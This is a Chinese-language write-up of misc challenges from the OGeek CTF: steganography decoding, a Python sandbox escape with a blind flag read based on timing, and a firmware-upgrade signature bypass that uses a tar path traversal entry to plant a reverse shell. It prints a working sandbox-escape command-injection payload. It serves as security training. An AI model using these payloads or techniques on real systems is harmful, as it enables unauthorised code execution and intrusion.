OGeek线上CTF挑战赛杂项题详细Write Up(完结篇)
MISC-2019
使用LSBSteg来获得隐写的字符串:
在线Decode这个base64字符串,得到Ascii85编码的字符串,再进行Decode,得到flag。
Misc-PyBox
设置默认shell 为bash
sudo dpkg-reconfigure dash 选NO
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("[ `cut -b 1 flag` == 'a' ] || sleep 5")
socket readflag fork
题目是一个黑盒PySandbox ,由于代码是 socket 写的,不对输出进行转发,因此是个纯黑盒的PySandbox.
题目环境保留了sleep功能,通过一些常用的payload + sleep 可以进行判断是否成功执行命令。
最后可以用 cut + sleep 进行盲注读flag
payload 如下:
import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("[ `cut -b 1 /home/flag` == 'a' ] || sleep 5")
misc-upgrade
通过查看s.py与逆向upg可以发现在通过pow上传文件后,将会验证固件格式与签名,通过后进行解压并执行do_upgrade.sh。其中固件分为四部分:固件头、tar.gz压缩包、压缩包文件签名、压缩包中do_upgrade.sh文件签名。
根据逆向upg与观察firmware.upg文件可以分析出大致结构
头四字节为magic number,随后八个字节是包含的文件个数。然后是三个文件header,每个header的头两字节为其余部分的xor key,同时这两字节是文件hash的末尾两字节。文件header中包含type指定压缩包/签名文件,长度与文件中偏移。
在签名验证代码中可以发现将压缩包中所有文件的文件名与固定字符串和内容拼接后sha256并与其他进行异或,最终结果与type为2的签名文件进行对比,同时如果遇到do_upgrade.sh文件则sha256后与type为3的签名文件进行对比。
构造特殊的tar文件,使两个文件名称和内容完全相同,并且能够覆盖do_upgrade.sh,如e/../do_upgrade.sh,在解压时会忽略../导致覆盖do_upgrade.sh,在e/../do_upgrade.sh中写入反弹shell,打包压缩后使用从示例末尾提取的两个签名文件按照固件格式打包好,上传,得到shell。
pack.c为打包代码,x.tar.gz为构造压缩包,out.upg为打包结果。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- 1 旧物换新 万亿市场添“活力” 7903946
- 2 印度警方称坠机事故有1名幸存者 7807890
- 3 幸存者跳机逃生 自行从残骸中走出 7711909
- 4 中国外贸在复杂环境中稳健前行 7616914
- 5 印度坠机事故致超290人死亡 7520515
- 6 B站崩了 7428132
- 7 网警提醒:高考后考生家长仍需警惕 7328972
- 8 坠毁客机乘客登机前发视频:再见印度 7232077
- 9 42岁百万网红“草帽姐”确诊肝病 7136879
- 10 众多明星走红毯 王子文不慎摔倒 7046662